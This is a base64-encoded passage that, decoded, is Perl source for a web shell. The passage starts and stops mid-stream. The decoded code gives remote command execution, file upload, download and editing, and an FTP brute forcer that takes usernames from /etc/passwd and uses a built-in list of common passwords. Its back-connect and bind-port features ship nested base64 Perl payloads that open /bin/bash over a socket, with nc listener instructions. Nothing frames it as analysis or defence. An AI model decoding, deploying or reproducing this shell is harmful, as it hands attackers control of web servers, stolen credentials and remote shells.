aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xvc2UoVVBMT0FERklMRSk7CgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsKCQl9Cgl9CgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5kCnsKCW15ICRyZXN1bHQ9IiI7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsKCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBydW4gY29tbWFuZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgpzdWIgUnVuQ21kCnsKCW15ICRyZXN1bHQ9IiI7CgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CglpZighJFdpbk5UKQoJewoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJfQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJewoJCSR8PTE7CgkJJENvbW1hbmQgLj0gIiB8IjsKCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJewoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOwoJCX0KCQkkfD0wOwoJfQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgl7CgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygnJENvbW1hbmQnKTsKCX0KCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRm9ybSBTYXZlIEZpbGUgCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIFNhdmVGaWxlRm9ybQp7CglteSAkcmVzdWx0ID0iIjsKCXN1YnN0cigkUnVuQ29tbWFuZCwwLDUpPSIiOwoJbXkgJGZpbGU9JnRyaW0oJFJ1bkNvbW1hbmQpOwoJJHNhdmU9Jzxicj48aW5wdXQgbmFtZT0iYSIgdHlwZT0ic3VibWl0IiB2YWx1ZT0ic2F2ZSIgY2xhc3M9InN1Ym1pdCIgPic7CgkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kUnVuQ29tbWFuZDsKCW15ICRkaXI9IjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiZ3VpIikuIjwvc3Bhbj4iOwoJaWYoLXcgJEZpbGUpCgl7CgkJJHJvd3M9IjIzIgoJfWVsc2UKCXsKCQkkbXNnPSI8YnI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTsgY29sb3I6IHllbGxvdzsnID4gUGVybWlzc2lvbiBkZW5pZWQhPGZvbnQ+PGJyPiI7CgkJJHJvd3M9IjIwIgoJfQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJJHJlYWQ9KCRXaW5OVCk/InR5cGUiOiJsZXNzIjsKCSRSdW5Db21tYW5kID0gIiRyZWFkIFwiJFJ1bkNvbW1hbmRcIiI7CgkkcmVzdWx0IC49ICA8PEVORDsKCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CgkkUHJvbXB0Cgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPgoJPGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cKCTxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPgpFTkQKCQoJJHJlc3VsdCAuPSAmUnVuQ21kOwoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsKCSRyZXN1bHQgLj0gICI8L2Zvcm0+IjsKCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBTYXZlIEZpbGUKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGUoJCkKewoJbXkgJERhdGE9IHNoaWZ0IDsKCW15ICRGaWxlPSBzaGlmdDsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRGaWxlOwoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpCgl7CgkJYmlubW9kZSBGSUxFOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlyZXR1cm4gMTsKCX1lbHNlCgl7CgkJcmV0dXJuIDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlciBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyRm9ybQp7CglteSAkcmVzdWx0PSIiOwoJJHJlc3VsdCAuPSA8PEVORDsKCjx0YWJsZT4KCjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM8YnI+ClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYnJ1dGVmb3JjZXIiLz4KPC90ZD4KPC90cj4KPHRyPgo8dGQ+VXNlcjo8YnI+PHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0idXNlciI+CkVORApjaG9wKCRyZXN1bHQgLj0gYGxlc3MgL2V0Yy9wYXNzd2QgfCBjdXQgLWQ6IC1mMWApOwokcmVzdWx0IC49IDw8J0VORCc7CjwvdGV4dGFyZWE+PC90ZD4KPHRkPgoKUGFzczo8YnI+Cjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InBhc3MiPjEyM3Bhc3MKMTIzIUAjCjEyM2FkbWluCjEyM2FiYwoxMjM0NTZhZG1pbgoxMjM0NTU0MzIxCjEyMzQ0MzIxCnBhc3MxMjMKYWRtaW4KYWRtaW5jcAphZG1pbmlzdHJhdG9yCm1hdGtoYXUKcGFzc2FkbWluCnBAc3N3b3JkCnBAc3N3MHJkCnBhc3N3b3JkCjEyMzQ1NgoxMjM0NTY3CjEyMzQ1Njc4CjEyMzQ1Njc4OQoxMjM0NTY3ODkwCjExMTExMQowMDAwMDAKMjIyMjIyCjMzMzMzMwo0NDQ0NDQKNTU1NTU1CjY2NjY2Ngo3Nzc3NzcKODg4ODg4Cjk5OTk5OQoxMjMxMjMKMjM0MjM0CjM0NTM0NQo0NTY0NTYKNTY3NTY3CjY3ODY3OAo3ODk3ODkKMTIzMzIxCjQ1NjY1NAo2NTQzMjEKNzY1NDMyMQo4NzY1NDMyMQo5ODc2NTQzMjEKMDk4NzY1NDMyMQphZG1pbjEyMwphZG1pbjEyMzQ1NgphYmNkZWYKYWJjYWJjCiFAIyFAIwohQCMkJV4KIUAjJCVeJiooCiFAIyQkI0AhCmFiYzEyMwphbmh5ZXVlbQppbG92ZXlvdTwvdGV4dGFyZWE+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4KCjxvcHRpb24+MDwvb3B0aW9uPgo8b3B0aW9uPjE8L29wdGlvbj4KPG9wdGlvbj4yPC9vcHRpb24+Cgo8b3B0aW9uPjM8L29wdGlvbj4KPC9zZWxlY3Q+IAo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPgo8L2Zvcm0+CjwvdGFibGU+CkVORApyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQnJ1dGUgRm9yY2VyCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyCnsKCW15ICRyZXN1bHQ9IiI7CgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307CglpZigkaW57J3VzZXInfSBlcSAiIikKCXsKCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07Cgl9ZWxzZQoJewoJCXVzZSBOZXQ6OkZUUDsgCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsKCQlAcGFzcz0gc3BsaXQoL1xuLywgJGlueydwYXNzJ30pOwoJCWNob21wKEB1c2VyKTsKCQljaG9tcChAcGFzcyk7CgkJJHJlc3VsdCAuPSAiPGJyPjxicj5bK10gVHJ5aW5nIGJydXRlICRTZXJ2ZXJOYW1lPGJyPj09PT09PT09PT09PT09PT09PT09Pj4+Pj4+Pj4+Pj4+PDw8PDw8PDw8PD09PT09PT09PT09PT09PT09PT09PGJyPjxicj5cbiI7CgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQoJCXsKCQkJaWYoISgkdXNlcm5hbWUgZXEgIiIpKQoJCQl7CgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpCgkJCQl7CgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQoJCQkJCXsKCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7CgkJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCQkJYnJlYWs7CgkJCQkJfQoJCQkJCWlmKCEoJGlueydzbGVlcCd9IGVxICIwIikpCgkJCQkJewoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7CgkJCQkJfQoJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCX0KCQkJfQoJCX0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZEZvcm0KewoJcmV0dXJuIDw8RU5EOwoJPGJyPjxicj4KCgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPgoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4KCSBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNyIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjgwIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmEnKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPjwvdGQ+CgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDbGllbnQgbGlzdGVuIGJlZm9yZSBjb25uZWN0IGJhY2shCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+Cgk8YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPgoKCTwvdHI+Cgk8L3RhYmxlPgoKCTxicj48YnI+Cgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+CgoJIFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImJpbmRwYXNzIiB2YWx1ZT0iVEhJRVVHSUFCVU9OIj48L3RkPgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDaHVjIG5hbmcgY2h1YSBkYyB0ZXN0IQoJPGJyPlsrXSBUcnkgY29tbWFuZDogPHJ1bj5uYyAkRU5WeydTRVJWRVJfQUREUid9IDxzcGFuIGlkPSJiaSI+MTQxMjwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT48YnI+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCYWNrY29ubmVjdCB1c2UgcGVybAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZAp7Cgl1c2UgTUlNRTo6QmFzZTY0OwoJdXNlIFNvY2tldDsJCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7CgkkYmluZHBlcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKRUZTUjBNOVFFRlNSMVk3RFFva2NHOXlkQWs5SUNSQlVrZFdXekJkT3cwS0pIQnliM1J2Q1QwZ1oyVjBjSEp2ZEc5aWVXNWhiV1VvSjNSamNDY3BPdzBLSkZOb1pXeHNDVDBnSWk5aWFXNHZZbUZ6YUNJN0RRcHpiMk5yWlhRb1UwVlNWa1ZTTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktXOXlJR1JwWlNBaWMyOWphMlYwT2lRaElqc05Dbk5sZEhOdlkydHZjSFFvVTBWU1ZrVlNMQ0JUVDB4ZlUwOURTMFZVTENCVFQxOVNSVlZUUlVGRVJGSXNJSEJoWTJzb0ltd2lMQ0F4S1NsdmNpQmthV1VnSW5ObGRITnZZMnR2Y0hRNklDUWhJanNOQ21K